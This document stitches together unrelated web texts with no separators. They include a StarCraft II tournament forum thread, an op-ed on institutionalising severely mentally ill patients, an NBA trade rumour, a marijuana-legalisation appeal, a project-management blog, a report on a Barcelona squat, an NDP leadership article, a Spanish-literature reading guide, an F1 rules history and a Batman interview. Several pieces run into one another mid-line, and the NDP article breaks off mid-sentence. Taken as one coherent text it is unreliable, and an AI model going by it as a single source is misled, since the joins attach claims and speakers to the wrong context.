jlake02 Profile Joined January 2011 United States 394 Posts #2 We hope this event gives lots of N.A. players a great chance to break out and make a name for themselves. GL to everyone! compLexity Gaming - @coL_Lake
OminouS Profile Joined February 2010 Sweden 1341 Posts #3 I read 'The Casters' as the 'The Cons' for a brief second.
Hope to see some European names qualify. I take it Europeans are allowed to enter? On the 6th day JF made Reavers and on the 7th day JF put his opponent to rest
CEVO Ahn Profile Joined August 2010 United States 159 Posts #4 1. Eligibility.
The Tournament is open only to residents of any state of the United States of America, the District of Columbia and any Province of Canada (other than Quebec) that are 16 years of age or older as of May 1, 2011, and who properly register for the Tournament (each a "Player"). Each Player may be required to show proof of age and residence. IF YOU DO NOT SATISFY THESE REQUIREMENTS, YOU ARE NOT ELIGIBLE TO REGISTER AND/OR PARTICIPATE IN THE TOURNAMENT. Participation in the Tournament is also subject to compliance with the requirements specified below and in the Game Play Rules. Employees of Sponsors and their immediate families (parent, child, sibling and the spouses of each) are not eligible to register for the Tournament. The Tournament is void where prohibited by applicable law.
jlake02 Profile Joined January 2011 United States 394 Posts #5 On April 09 2011 08:52 OminouS wrote:
I read 'The Casters' as the 'The Cons' for a brief second.
Hope to see some European names qualify. I take it Europeans are allowed to enter?
This first event is for North America only but we have plans for more events in 2011
This first event is for North America only but we have plans for more events in 2011 compLexity Gaming - @coL_Lake
Yuenanimous Profile Joined February 2011 United States 20 Posts #6 Can't wait for these games. Looks like it's going to be a rad tournament.
Hirnfrost Profile Joined May 2010 Germany 920 Posts #7 worst pic of JP I have ever seen :D
go tyler + select
go djWHEAT After Mondays and Tuesdays even the Calender says W T F
majestouch Profile Joined December 2010 United States 395 Posts Last Edited: 2011-04-09 00:39:46 #8 MY ACCOUNT after registration look like this?
+ Show Spoiler + Tactic 3D Online Gaming Tourney
StarCraft II - Amateur
Eastern
Team Name
Record
Status
bluewaffle.127
0-0
ready
Matches
Round
Map
Deadline
Opponent
Match Date
Status
not in that format [in the excel table or w/e] but yea.
also, can we compete in both the east and west division?
EDIT: just realized that I registered with the wrong character code(127) my actual character code is 643
original signup: bluewaffle.127 which is WRONG
new signup: bluewaffle.643 which is RIGHT
i tried changing it and accidentally made a double tournament entry it seems...
thanks, and sorry if I caused any troubles. should ourlook like this?not in that format [in the excel table or w/e] but yea.also, can we compete in both the east and west division?EDIT: just realized that I registered with the wrong character code(127) my actual character code is 643original signup: bluewaffle.127 which isnew signup: bluewaffle.643 which isi tried changing it and accidentally made a double tournament entry it seems...thanks, and sorry if I caused any troubles.
wikid Profile Joined January 2009 Sweden 236 Posts #9 Another only american tournament :/
seem to be the only way to get an American winner is to exclude the good players
aMies Profile Joined January 2011 United States 76 Posts #10 On April 09 2011 09:35 majestouch wrote:
should our MY ACCOUNT after registration look like this?
+ Show Spoiler + Tactic 3D Online Gaming Tourney
StarCraft II - Amateur
Eastern
Team Name
Record
Status
bluewaffle.127
0-0
ready
Matches
Round
Map
Deadline
Opponent
Match Date
Status
not in that format [in the excel table or w/e] but yea.
also, can we compete in both the east and west division? should ourlook like this?not in that format [in the excel table or w/e] but yea.also, can we compete in both the east and west division?
Looks fine to me. As long as you're set to ready you will be placed into a bracket when the time comes.
Looks fine to me. As long as you're set to ready you will be placed into a bracket when the time comes. Staff & Website Manager - http://www.compLexityGaming.com
ThE_OsToJiY Profile Blog Joined May 2008 Canada 1167 Posts #11 The great thing about not getting invited means that the qualifying tournament is usually a lot easier @ostojiy
HeIios Profile Joined May 2010 Sweden 2490 Posts #12 On April 09 2011 09:36 wikid wrote:
Another only american tournament :/
seem to be the only way to get an American winner is to exclude the good players
Don't be like that, be happy for our north american friends.
Good luck guys! Don't be like that, be happy for our north american friends.Good luck guys!
LaLuSh Profile Blog Joined April 2003 Sweden 2320 Posts Last Edited: 2011-04-09 00:43:13 #13 Too bad only US/Canada.
majestouch Profile Joined December 2010 United States 395 Posts Last Edited: 2011-04-09 00:52:42 #14 On April 09 2011 09:36 wikid wrote:
Another only american tournament :/
seem to be the only way to get an American winner is to exclude the good players
so you're willing to stay up till 20:00 -6gmt several nights consecutively? also, you're swedish which is only +1(russians or further east would be even worse), add 7 hours thats hmmm 3:00, i'll go out on a limb assuming you work or go to school several nights in a row, thus you will most likely be skipping work for an ONLINE sc2 tournament (not a lan). moreover, every country has different prize rules etc.
and lastly using your logic: the EU craftcup is held every friday @ 1:00 pm CST, which most people living in the central US(or further west especially) will be at school or work then and won't be able to participate. And seeing that a lot of up-and-coming pros are people who go to school mainly this seems unfair doesn't it?
maybe its just me, but it seems like euro elitism as it's finest I must say. so you're willing to stay up till 20:00 -6gmt several nights consecutively? also, you're swedish which is only +1(russians or further east would be even worse), add 7 hours thats hmmm 3:00, i'll go out on a limb assuming you work or go to school several nights in a row, thus you will most likely be skipping work for an ONLINE sc2 tournament (not a lan). moreover, every country has different prize rules etc.and lastly using your logic: the EU craftcup is held every friday @ 1:00 pm CST, which most people living in the central US(or further west especially) will be at school or work then and won't be able to participate. And seeing that a lot of up-and-coming pros are people who go to school mainly this seems unfair doesn't it?maybe its just me, but it seems like euro elitism as it's finest I must say.
jericho130 Profile Joined January 2011 United States 8 Posts #15 This is going to be great!
wikid Profile Joined January 2009 Sweden 236 Posts #16 On April 09 2011 09:49 majestouch wrote:
Show nested quote +
On April 09 2011 09:36 wikid wrote:
Another only american tournament :/
seem to be the only way to get an American winner is to exclude the good players
so you're willing to stay up till 20:00 -6gmt several nights consecutively? also, you're swedish which is only +1(russians or further east would be even worse), add 7 hours thats hmmm 3:00, i'll go out on a limb assuming you work or go to school several nights in a row, thus you will most likely be skipping work for an ONLINE sc2 tournament (not a lan). moreover, every country has different prize rules etc.
and lastly using your logic: the EU craftcup is held every friday @ 1:00 pm CST, which most people living in the central US(or further west especially) will be at school or work then and won't be able to participate. And seeing that a lot of up-and-coming pros are people who go to school mainly this seems unfair doesn't it?
maybe its just me, but it seems like euro elitism as it's finest I must say. so you're willing to stay up till 20:00 -6gmt several nights consecutively? also, you're swedish which is only +1(russians or further east would be even worse), add 7 hours thats hmmm 3:00, i'll go out on a limb assuming you work or go to school several nights in a row, thus you will most likely be skipping work for an ONLINE sc2 tournament (not a lan). moreover, every country has different prize rules etc.and lastly using your logic: the EU craftcup is held every friday @ 1:00 pm CST, which most people living in the central US(or further west especially) will be at school or work then and won't be able to participate. And seeing that a lot of up-and-coming pros are people who go to school mainly this seems unfair doesn't it?maybe its just me, but it seems like euro elitism as it's finest I must say.
I don't think your getting the point here. I'm pretty sure American players can participate in eu-craftcup if they obey the rules of playing on eu server.
The thing is even if European players are willing to be up all night and playing on us-server they are not allowed to participate because of the rules.
"The Tournament is open only to residents of any state of the United States of America, the District of Columbia and any Province of Canada "
You must see the difference here right`? I don't think your getting the point here. I'm pretty sure American players can participate in eu-craftcup if they obey the rules of playing on eu server.The thing is even if European players are willing to be up all night and playing on us-server they are not allowed to participate because of the rules."The Tournament is open only to residents of any state of the United States of America, the District of Columbia and any Province of Canada "You must see the difference here right`?
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Fraidnot Profile Blog Joined May 2008 United States 801 Posts #18 Looks great. The NA scene is really getting a lot of love this week.
MyOwnPrison Profile Joined April 2011 United States 17 Posts #19 I signed up, however I didn't put my character code. Is that okay?
AskJoshy Profile Blog Joined February 2010 United States 1611 Posts #20 How is your opponent supposed to find you? Gotta put the character code for ease of use. =) Heroes, Hearthstone, and SC2 videos: http://www.youtube.com/AskJoshy
1 2 3 4 5 6 7 8 Next AllThe problem is compounded by the fact that group homes often refuse to accept patients back after they are hospitalized. One of my patients with severe autism and a mood disorder is on his 286th day of hospitalization. Another with autism and developmental disability has been on the unit for more than a year. Insurance companies won’t pay for inpatient admission once patients are no longer dangerous, so the cost of treatment is absorbed by the hospital, or paid for by taxpayers through Medicaid.
So institutionalization is already happening, but it is happening in a far less humane way than it could be. The patient with autism who has spent a year in a psychiatric hospital is analogous to the patient with schizophrenia who has spent a year in prison: Both suffer in inappropriate facilities while we pat ourselves on the back for closing the asylums in favor of community care.
Modern asylums would be nothing like the one in “One Flew Over the Cuckoo’s Nest.” They could be modeled on residential facilities for patients with dementia, who would have languished in the asylums of yore, but whose quality of life has improved thanks to neurological and pharmacological advancements.
Asylums for the severely mentally disabled would provide stability and structure. Vocational skills would be incorporated when possible, and each patient would have responsibilities, even if they were carried out with staff assistance. Staff members would be trained to address the needs of minimally verbal adults. Sensory issues often accompany severe intellectual disability, so rooms with weighted blankets, relaxing sounds and objects to squeeze would help patients calm themselves.
Facilities for chronically psychotic patients would have medication regimens and psychoeducation tailored to the needs of those living with mental illness.
Neither my chronically psychotic nor my mentally disabled patients can safely care for themselves on their own. They deserve the relief modern institutionalization would provide. Naysayers cite the expense as prohibitive. But we are spending far more on escalating prison and court costs, and inpatient hospitalizations. More important, we are doing nothing about the chaos and suffering in patients’ lives.
We can’t continue to abandon our most vulnerable citizens in the name of autonomy.The Los Angeles Lakers engaged the Brooklyn Nets in exploratory talks in early December regarding a possible swap of Pau Gasol and Brook Lopez, but the Nets balked at the offer, according to ESPN's Marc Stein.
The discussions occurred before Lopez went down for the season with yet another foot injury, so there's little chance of anything coming to fruition at this point. The Lakers also recently took Gasol off the trading block, and the 33-year-old is dealing with health issues of his own.
Considering the timing of the talks, it made perfect sense for the Nets to scoff at this proposal, although it's unclear what other sweeteners the Lakers were willing to include. While Lopez certainly had his injury issues, he was playing some of the best ball of his career when he was able to stay on the floor this season. Why in the world would the Nets trade a good 25-year-old big man sporting a PER close to 26 for a declining Gasol?
Perhaps a trade would make more sense from the Nets' point of view now that Lopez has suffered another brutal foot injury. With his and the team's future in major doubt, maybe the Nets give up on Lopez, clear the $32.5 million he's owed the next two seasons after this one and take on an expiring contract in Gasol.
But even that seems silly for Brooklyn and a trade at any time for Lopez would signal an apparent shift in philosophy for Los Angeles. The general consensus is the Lakers want to make a big splash in the summer of 2015, and taking on a player like Lopez would hinder that. While Lopez is certainly an excellent player when healthy, his inability to stay on the floor is a red flag.
More from SB Nation NBA:
• The Hook: Rethinking the NBA draft lottery
• The Lakers come to grips with reality
• Why players don’t like Blake Griffin
• Prada's pictures: Phoenix's 2-headed dragon and Drummond's development
• James Harden pulls off the oldest prank in the book | #LookitAs the winter months approach, the Campaign to Regulate Marijuana in Alaska is in full swing. Currently, petitioners are working to collect 45,000 signatures by December 1 in support of a statewide initiative that would tax and regulate the production, sale, and use of marijuana for adults 21 years of age and older. To date, they have collected over 16,000 signatures from Alaskan voters and need just 29,000 more to qualify for the August 2014 primary-election ballot.
Please help achieve victory at the polls in 2014 by volunteering to collect signatures or making a donation so that the campaign can hire paid signature gatherers. Also, if you are interested in getting paid to petition and you are confident you will be able to collect a large number of signatures, please let us know!
As a result of Alaska’s current marijuana laws, which are complex, unclear, and flat out contradictory, more people were charged or arrested for marijuana related offenses in 2012 than were charged or arrested for methamphetamine, heroin, and cocaine related offenses combined. The time for marijuana reform in Alaska is long overdue.
With the help of supporters like you, we can replace Alaska’s outdated policy of prohibition with a sensible system that regulates marijuana while generating tax revenue from its sales. Please check out the campaign website for more information about the initiative, Alaska’s marijuana laws, and how you can join the campaign.
Article republished from Marijuana Policy ProjectWhy is it that our teams are sometimes such a disaster? Why can’t they do what we ask them to do?
They make all the right noises, smile, and nod happily while we’re briefing them. But when we go back to check on the work when their time is up, they’ve either haven’t finished it, haven’t done it quite right, or have done something entirely different to the original ask.
It’s one of the most common complaints I hear from project managers – the people they’re managing aren’t producing the work.
And when teams aren’t producing what they need to, the timeline starts slipping, the project goes over budget, clients get mad, people end up working late, and everyone get stressed.
Why don’t our teams get it?
We can often wonder why we’re let down by our resources. Why are they so lame and why can’t they just do the job properly? We ask ourselves how they were even hired, how can it be that they can hold down a job, and haven’t been fired yet! The same can be true of people we manage. Why can’t people just do what they’re supposed to do?
But do they really know what they’re supposed to be doing?
Are we really managing and leading them into success?
I find the One Minute Manager helpful in describing the situation; ‘Everyone is a potential winner. Some people are disguised as losers. Don’t let their appearances fool you.’
It’s not you, it’s me
The role of a project manager is a busy one – and we can often feel like we’re struggling just to keep our heads above water.
In part, I blame the tools. While I love my project management tools just as much as the next project manager, if we’re not careful, with ten simultaneous conversations going on in Slack, notifications popping up everywhere, and our inbox being flooded with questions from our favourite clients, we can become slapdash with briefing our team properly, and then we’re surprised when they didn’t do what we wanted them to.
It’s because we never told them.
Yes, we might have copied them on an email, assigned them a ticket, created a task or @mentioned them in Slack, but that’s not a proper briefing. ‘We’re working agile’ and ‘the team’s just working on iterations’, isn’t an excuse either; you might be iterating, but you need to be clear what you’re iterating on – it’s going to be a waste of everyone’s time if it’s just a free for all.
The fundamentals of briefing properly
People don’t do what we want them to do because we haven’t been clear on what they need to do, why they need to do it, how they need to do it, and when they need to do it by.
We’re experiencing communication breakdown.
Clear communication and proper briefing is fundamentally about being understood. It’s a dialogue, not a one-way, garbled message.
The same applies to clear briefing. Do it once, and do it right.
Your team will love you for it.
Why you can’t afford not to brief better
In the same way that we manage risk by identifying potential problem areas and then actively mitigate against them, we need to apply the same rigor to the way we brief and manage our teams.
The risk is that they don’t know what they’re doing, the likelihood is high, the impact is that we waste time, budget and not only do we get annoyed with them, but they also struggle to do the work. So to mitigate against that risk, we need to start briefing properly.
“…Helping people to feel good about themselves is key to getting more done.” – The One Minute Manager
It’s a terrible false economy to think that you’re saving time and budget by half-assing your briefs. The brief needs to crystal clear, provide appropriate background and set expectations clearly. It’s unlikely that you’ll be able to fit a proper brief into a tweet.
The truth is, briefing properly takes a lot of time. But it saves a lot of time and angst for yourself and everyone later.
Agency briefing templates
To help everyone think about briefing a bit better, we’re sharing three different templates, free to download, use and abuse. These three templates have been designed for use within a typical agency project workflow. Different briefs have different applications so we’ve included guidelines to help you know what brief should be used, when.So just a reminder, this was originally intended as a double page, so if it seems a little incongruous that Ingsol mentions the whole weakness aura thing, and then Maxima immediately starts dismantling it, imagine that it someone might mention it on the bottom half of this page, i.e. Monday’s.
Action pages are tough to comment on because not a lot happens in them. The comic book time dilation changes from “far slower than normal” to “one panel might cover a whole second if you’re lucky” Of course time is super relative in comics anyway. Action scenes in mangas tend to focus more on actual action, punches, kicks, straining neck muscles while they power up, whereas generally, American action comics tend to pack in a ton of dialog into fights. Spider-man is the most obvious offender, but lots of superhero comics have a lot of chatting and exposition. Well, manga has shitloads of exposition too, but they tend to pause the action while they do it. Sometimes they pause for an episode long flashback >cough< Naruto >cough<
I know, I know, some of you think Grrl Power has been in flash back since like page 6, but actually, those first few pages were a flash forward. Both of those things could be true to a time traveler. Think about that.
(I think it shrank since the last page. Drawing large things a consistent size is… not a skill I’ve mastered)
Double res version will be posted over at Patreon. $1 and up, but feel free to contribute as much as you like.La Cinètika Last Saturday a gigantic 10 screen cinema was occupied as an autonomous social center in Barcelona. The abandoned building is owned by the City Council who had failed to find a use for it. en català per sota
The action began as an advertised 4 day series of debates and workshops, meals etc… with a whole range of strikers, squatters, immigrants, feminist struggles etc.. taking part.. all to be held in a local square, and beginning with a street parade around historic struggle sites.,.
The parade ended with the Cinètika occupation
The liberated area, with thousands of square meters and ten cinemas will become, henceforth, an open space in the neighborhood. The promoters of the project want to build a squatting assembly, feminist and outside the institutions. No alcohol will be sold at the venue, as the group believes that “alcoholism and drugs are a problem in the workers neighborhoods.”
True to its name (in classical Greek “that which moves”) the Cinètika hosted during the whole weekend a whirlwind of activities that have combined cleaning and clearance of the facilities with big publiv meetings on making the independent anti capitalist Palomar barrio, a series of lectures, meals and screenings of documentaries scheduled until Tuesday.( see poster)
The lobby was filled with talks and debates which have included the participation of the workers in the Telefonica struggle, the Barcelona Metropolitan Transport strikers(TMB), the Auditorium and Liceu conflicts, the movement against mortgage evictions PAH, the Union of Popular Street Vendors, All Strike, the Stop the Fare Rises platform, the writer Joni D. and the bus driver and the councillor Josep Garganté CUP.
“Refuse to continue watching passively the media circus of symbolic televised statements of the ‘new left’ institutions, while on the street there is no change in our living conditions which continue to worsen,” states the occupation manifesto entitled ‘End of the show: a letter to the districts from the new squatted cinema in Sant Andreu, published by Cinètika on Indymedia Barcelona.
“We want to equip ourselves with the tools and weapons necessary to build neighborhoods and strong communities […] able to build ways of living and meet their needs apart from and against relationships of domination and oppression that characterize today’s society “.
Regarding the legal aspects, sources have told the group that “although we have seen police and plain clothes patrols around the cinema, to date there has been no incident. Neither have we received messages from the City Council. ”
Indeed the City Council is in an awkward position, controlled by Barcelona en Común, and led by Ada Colau, herself an ex squatting activist against mortgage evictions, which makes an immediate eviction unlikely, but there must be intense pressure to stop the wave of occupations getting out of hand.
How is it possible to seize a multi cinema in Barcelona, but unthinkable in most other cities? The occupiers in San Andreu barrio have been active and trusted for many years, their tactics are excellent and there is a long history of anarchist type self organisation in the city.
Cinètika make this assessment of the progress of the project. “In the cracks of the Barcelona Brand Name we are making combative living spaces: a cinema opened up to fill it with life,”
Cinema occupied for an autonomous, feminist, anticapitalist space in Sant Andreu. Rambla Fabra i Puig, 32 (M L1 Fabra i Puig) # PalomarAutònom
There’s a lot more local squatters news here…
The squatted bank Banc Expropriat, free social center in Gracia Barrio is threatened again after winning last year by huge public support.
A large building in the city center has been occupied by students for autonomous assembly run living space, etc.
The Transformadors anarchist CSO was evicted while empty.
A center in Sabadell city was attacked by 50 nazis who were driven off quickly by 200 anti-nazis called on Twitter.
The classic Rimaia CSO, site of the Free University, has been re-occupied for the 5th time and is being refurbished.NDP leadership candidate Niki Ashton says her campaign is responsible for pulling her rivals in a more “progressive direction.”
Ashton said that early on in the campaign, some of her policy ideas – her plan to offer free tuition for post-secondary education, for example, or her plan to axe the controversial practice of ‘carding’ by RCMP – were criticized or called unrealistic.
But she suggested her ideas are actually forcing other candidates to follow her lead.
“It’s appeared we’ve actually pulled the candidates in a more progressive direction on this and other issues,” said Ashton, pointing to her early campaign position against new pipelines. “Not everybody was on that page. Others have since moved their position,” she said.
Who’s moved? According to Ashton, rival candidate Ontario MPP Jagmeet Singh. She said she’s also pushed her rival candidates to commit to free tuition.
“I pushed back on a couple of my colleagues who weren’t very clear on the need for free tuition as an immediate sort of commitment to take on, that’s been in the debates,” said Ashton, who represents the northern Manitoba riding Churchill–Keewatinook Aski.
In addition to Singh, Ashton is running against NDP MPs Charlie Angus and Guy Caron.
Ashton spoke to iPolitics over dinner with her fiancé, Bruce Moncur, at Smoque Shack in Ottawa — the scene of their first date. They reminisced about the time they first met – at Toronto’s Pearson International Airport almost two years ago. Ashton and Moncur were both heading to Ottawa; Moncur, who’s been involved with the NDP for several years, recognized Ashton and introduced himself.
“We kept in touch, we went on a date here …” said Ashton, “We talked for quite some time.”
Fast-forward two years and the pair is expecting their first baby in November – about one month after the new leader will be chosen.
Ashton said she hasn’t yet discussed publicly when she plans to take time off to have her baby, pointing out that members of Parliament don’t get maternity leave – something she suggested may |
. His narrative is pretty lineal and easy to read, although a lot of his themes are complicated. He wrote about psychological dramas and problems. His short stories are pretty easy to understand and read.
Recommended works: “La muerte de Artemio Cruz” (P), “La region mas transparente” (P), “Aura” (PP)
José Saramago (PPPP - PPPPP) [ edit | edit source ]
Writer tags: Portuguese, A little bit tricky at the start, Linguistic plays, Philosophical themes, Religious themes, Short Novels.
Ah, here’s a little cheat! José Saramago is not strictly a Spanish writer, he was Portuguese and wrote in that language, but! His works in Spanish are remarkable. His wife was a native speaker of Spanish and he himself knew a lot about this language so his traductions are really really good (they made them together). His work is pretty complex because he doesn’t use punctuation signs (“ – “,“¡!”, “¿?”). This is not a work for beginners in Spanish, but it’s really good and fun to read. Most of his works are about human nature (philosophical themes) and religious things. He was exiled from Portugal for his “heretics themes”.
Recommended works: “Informe sobre la ceguera” (PPPP), “Informe sobre la lucidez” (PPPP)? “El evangelio según Jesucristo” (PPPPP)
Gabriel García Marquéz (PPP - PPPP) [ edit | edit source ]
Writer tags: Fantasy / Magic realism (“Realismo mágico Latinoamericano”), Very funny and sarcastic, Long novels mostly, Complex. He was one of the most important Latin-American writers and millstone of the Magic Realism. Gabriel Garcia Marquéz was a Colombian writer. His books are about the magic that is present in the most common situations. It’s some kind of fantastic literature. It might be a little difficult to read if you don’t master the language because there’s a lot of linguistic plays and tricks in his works. You might also need a little bit of American history to understand some of the situations (American revolutions, USA interventions, etc.).
Recommended works: “Relato de un náufrago” (PPP), “Cien años de soledad” (PPPP)
Mario Vargas Llosa (PP - PPP) [ edit | edit source ]
Writer tags: Strong political content, Might need a little bit of History to comprehend, long Novels, Complex. Mario Vargas Llosa is a Peruvian writer and Nobel-prize winner. He’s one of the most influent latinamerican writers of the century (past and actual). Most of his works are about common people but in the end he’s talking about serious political content hidden in his stories. His novels tend to be long and complex and with a lot of characters. It’s not one of my favorite’s authors.
Recommended works: “La ciudad y los perros” (PPP), “Pantaleón y las visitadoras” (PP)
Ernesto Sabato (PPP - PPPP) [ edit | edit source ]
Writer tags: Short and Long Novels (The long ones are huge), Philosophical content, Psychological content, Depressive, Dark, Political content, Might need History to understand. He was a great Argentinian author who wrote lots of things and then burnt them. He started as a scientist and then he left that career to be an artist. He was very dark most of his life and a depressive character. His works are very psychological and deep. He wrote a few light novels and a few really really long novels (very complex too). It’s some kind of dark Jorge Luis Borges or even as depressive as Kafka.
Recommended works: “El túnel” (PPP), “Sobre héroes y tumbas” (PPPP), “Abbadon el exterminador” (PPPP)
Rosa Montero (P) [ edit | edit source ]
Writer tags: Easy reading, Very simple style, Recent, Lineal, Science Fiction (just one work as much as I know), Fantasy, Romantic, Short Novels mostly. She’s a Spanish contemporary writer. His works are pretty easy and simple; it’s a good way to start reading something you can understand very quickly. His narrative is pretty lineal so that makes it easier to understand it. Most of his themes are romances and crimes. Also she write in a newspaper column so some of his books are scraps of those articles (pretty shorts ones, good for a quick reading).
Recommended works: “Historia de mujeres” (P), “Lagrimas en la lluvia” (P)
Juan Rulfo (PPP - PPPPP) [ edit | edit source ]
Writer tags: Strong political content, Short Stories, Short Novel, Complex, Linguistic plays, Non-Lineal narrative, might need History to understand. Juan Rulfo is one of the most important Mexican writers of the twentieth century. He has two notable works and both of them turn around the Mexican Revolution. His narrative might be a little tricky and hard to understand tough. He tends to use a lot of linguistic plays and non-lineal sequences along with multiple characters. This is a hard but very good read.
Recommended works: “El llano en llamas” (PPP), “Pedro Páramo ” (only if you have an advanced level of spanish, due the vocabulary) (PPPP - PPPPP)
Alejo Carpentier (PPP) [ edit | edit source ]
Writer tags: Short Novel, Magic Realism, Complex, Music content, Political content. He was a Cuban writer and a big influence for the “Boom” artists. Also he was a musicologist (the second man that I know with that profession other than Theodor Adorno). His works has a lot of influence of the music and a lot of political hidden content. Also they are structured according to music themes, rhythms and types of songs. If you know about music you might enjoy and discover a lot of things reading Alejo Carpientier.
Recommended work: “El reino de este mundo” (PPP)
Adolfo Bioy Casares (PP) [ edit | edit source ]
Writer tags: Short Stories, Short Novels, Fantasy, Science-Fiction, Easy, Lineal narrative (almost from nineteenth century), Entertaining, friend of Jorge Luis Borges (they tend to appear in the literature of each other). He was an Argentinian writer and a good friend of Jorge Luis Borges. Most of his works are short stories along with short novels. His narrative is lineal and very easy to understand. He wrote mostly fantastic / mistery works. In some points it’s almost like reading Jules Verne. As I said before, he and Borges were good friends so they influenced each other and they even wrote some things together.
Recommended works: “Diario de la Guerra del cerdo” (PP) and “La invención de Morel” (PP)
AzDuneThe 2017 season sees arguably the biggest technical shake-up in F1 racing for 20 years, with the rule makers adopting a previously unseen approach of changing the regulations to raise speeds rather than keep them in check. To mark this dramatic rules shift, we’re looking back over the other occasions in the modern era when F1 designers were forced into a fundamental re-think, with our next focus on 2009’s major rules overhaul…
As the 2000s neared their conclusion, Formula One cars had morphed into the most aerodynamically (and visually) complex machines in history, with all manner of appendages, turning vanes and winglets sprouting from their bodywork. From the FIA’s point of view, there were two major problems with this: firstly, these kind of developments hadn’t come cheap, with teams running wind tunnel and CFD programs flat out in pursuit of an advantage.
Secondly, and more importantly from a racing point of view, these highly tuned aerodynamic beasts were extremely sensitive, with drivers losing considerable downforce when running in another car’s wake. Overtaking wasn’t impossible, but it was becoming increasingly difficult, and increasingly rare. Something, the FIA decided, must be done to combat these issues, as well as to improve F1’s green credentials and the category’s road relevancy. The raft of revolutionary technical regulations that arrived in 2009 were the solution, with the resulting cars looking extremely different.
The first area that saw radical overhaul was aerodynamics, with the regulations being shaped around investigative work carried out by the Overtaking Working Group (OWG). This crack team of engineers - which could count Paddy Lowe, Pat Symonds and Rory Byrne amongst its members - found through extensive wind tunnel testing that a taller and narrower rear wing (see below) created a better wake for the following car, and thus the regulations were tweaked in that direction.
Similarly, it was concluded that a lower, wider front wing (pictured below) was less susceptible to a loss of downforce when running behind another car, leading to front wings extending well out in front of the front tyres in 2009.
These new wings, which were also made significantly simpler thanks to an FIA-mandated neutral section in the middle (see below), also featured active aerodynamics, with the driver able to make two front-wing-flap angle changes of up to six degrees per lap in a further move to help boost overtaking. In reality, this concession proved relatively insignificant, with some pointing to the fact that the wider wings might actually make overtaking more hazardous.
In a further attempt to clean up airflow and contribute to a targeted reduction in downforce of 50%, the rest of the car was smoothed out, with the regulations putting paid to the various chimneys and other unsightly aerodynamic devices that had become de rigueur (see below).
A much-revised diffuser was supposed to be the final piece of the aero-slashing package, but it wouldn’t be long before Williams, Brawn and Toyota found a controversial loophole in the wording of the regulations and created the so-called ‘double diffuser’. This more-expansive device helped claw back a significant chunk of downforce, and left rival teams scrabbling to play catch-up, once their protests against the layout (which they claimed went against the spirit if not the letter of the regulations) were waved off. The differences between Brawn's double diffuser (right) and Red Bull's 'as the regulations intended' design (left) can be seen below.
The second significant area of overhaul was to the tyres, with slicks returning after an 11-year absence to replace the long admonished grooved rubber. This switch also followed the OWG’s thinking, the theory being that if you reduced downforce and at the same time improved mechanical grip by putting more rubber on the road (in this case by between 6-8%), racing would improve. The move back to slicks was a relatively straightforward task for then-tyre supplier Bridgestone, but it was a far bigger consideration for the teams, with the loss of grooves affecting the narrower front tyres more than the wider rears, resulting in a change of grip ratio and subsequently a push towards a more forward weight distribution and aero balance than before.
There were also changes on the powertrain side of things, with a new rule restricting drivers to eight engines across the 18-round season, all of them with a new 18,000rpm rev limit. But the bigger news on this front was the introduction of Kinetic Energy Recovery Systems (KERS), which would see F1 cars gain a new road-relevant, energy-efficient power source. The rules allowed the new systems, which still form part of today’s Energy Recovery Systems, to return a power boost of up to 80bhp for up to 6.6 seconds per lap, the energy having been harnessed under braking via a motor generator unit and then stored in either batteries (most teams, as shown in the diagram below) or an electric flywheel (Williams).
It was hoped KERS would further aid overtaking, but in practice the temporary power boosts were more commonly used in defence. And that wasn’t the only issue in year one either. For a start there were the potential safety implications of running with a ‘charged car’, but more importantly the systems were extremely heavy and complex to package. In fact, with the technology still in its infancy (and in a lot of cases very unreliable), many teams opted not to race with KERS at the first race of the new era in Australia (pictured below), the performance trade-off marginal in the face of potentially superior weight distribution and cooling.Bluebird Credit: DC Comics
Batman #28 preview Credit: DC Comics
Scott Snyder gave readers a treat with the release of this week's Batman #28, but the writer was probably just as excited about anyone else.
The stand-alone issue reveals what will be happening about a year from now, in both Batman and the upcoming Batman: Eternal weekly series (see our spoiler-filled breakdown of the issue for a recap).
The issue told a full scene from the life of Batman in the future, but it also left a lot of unanswered questions about the status of Gotham City and its inhabitants.
Perhaps most surprisingly, the issue revealed that Batman will have a team of female characters helping him next year, including Harper Row (fighting crime under the identity "Bluebird"); a revamped, New 52 version of Stephanie Brown, who calls herself Spoiler; and a mysterious new character in the Batcave.
The issue, which was co-written by James Tynion IV with art by Dustin Nguyen, also teased a new "Kingpin" role for Catwoman — one that Snyder told Newsarama will evolve over the course of upcoming stories in Catwoman, Batman: Eternal and Batman.
What else can Snyder tell us about the flash-forward issue of Batman? Newsarama talked to Snyder to find out more.
Newsarama: Scott, I bet this was a fun day for you, wasn't it? For people to finally see this issue?
Scott Snyder: I know! I know, right? I'm excited. It was a fun issue to do. I'm really, really proud of it.
Nrama: After reading the issue, someone asked me to, what's the first reaction you have to it? And I said, "Girl power!" There are all these women on his team! Was that intentional? What was the thinking behind it?
Snyder: Yeah, absolutely, it was intentional.
Batman has had some incredibly strong female characters in Gotham. And he still has allies and villains that are some of the best female characters in comics, from Batgirl to Poison Ivy and beyond.
But one of the things we thought was, with the Robins in new roles and Damian gone, it's time to start thinking about — for Batman's 75th anniversary — new characters that we could bring in, or old, familiar characters that we could bring back in new ways.
It would be a new generation of allies for him.
That doesn't mean in any way that our plans for the older generation and the established allies and family are any less bombastic or important this year, for the 75th. But it's also a celebration of all things Bat, and that means giving Batman some new people in his life. So we wanted to start in a way that made it clear that we're interested in doing some new things.
And really, this issue is just the top of the iceberg — both in terms of the characters that are going to be introduced, and the characters that you know and love who are going to get new statuses.
Interior spoiler-filled art from Batman #28 Credit: DC Comics
Nrama: You know, talking about girls… we all assume that's a girl in the Batcave in this issue. Can you confirm that it's a girl?
Snyder: [Laughs.] It definitely looks like a girl. I'll say that.
Nrama: While the Batcave girl is a mystery, you've revealed what's going to happen with Harper Row. As you were coming up with her character, did you know her eventual path? Or was this something that evolved?
Snyder: It definitely evolved. One of the things I wanted to do when I created her was not to have a set point in mind, in terms of her eventual costume and status. Part of me thought it might be fun to keep her entirely out of costume, and part of me wondered if maybe there was room for her to be Robin, and part of me wondered if we'd do something brand new with her.
And really, it became about feeling it out as it went, and trying to put the emphasis on her and her brother Cullen, as real and viable and, hopefully, exciting characters to readers, before anything else.
What she is for me is, she's someone who lives and struggles in Gotham, and serves as a tribute to the type of characters you see in Gotham Central and a lot of the animated series — the people on the street, that we can forget about when we get all wrapped in the giant figures that we know from Gotham.
So that was the most important to me, to make sure she was a character, and her brother was a character, that people responded to. And then to figure out her status after.
Interior spoiler-filled art from Batman #28 Credit: DC Comics
Nrama: Where did the name Bluebird come from?
